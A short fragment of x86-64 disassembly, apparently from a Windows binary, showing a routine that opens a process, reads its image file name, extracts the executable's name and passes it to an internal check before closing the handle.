mov rax, qword [0x140091208]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov r8d, ecx
xor edx, edx
mov ecx, 0x20410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140008bb3
lea rdx, [rsp + 0x20]
mov r8d, 0x1ff
mov rcx, rax
mov byte [rsp + 0x20], 0
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameA]
lea rcx, [rsp + 0x20]
mov edx, 0x5c
call fcn.140053da4
test rax, rax
je 0x140008b95
inc rax
jmp 0x140008b9a
lea rax, [rsp + 0x20]
mov qword [0x1400d3a80], rax
call fcn.140008aa0
mov rcx, rbx
test al, al
je 0x140008bb7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140008bc7
call fcn.140008900
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140051c70
add rsp, 0x230
pop rbx
ret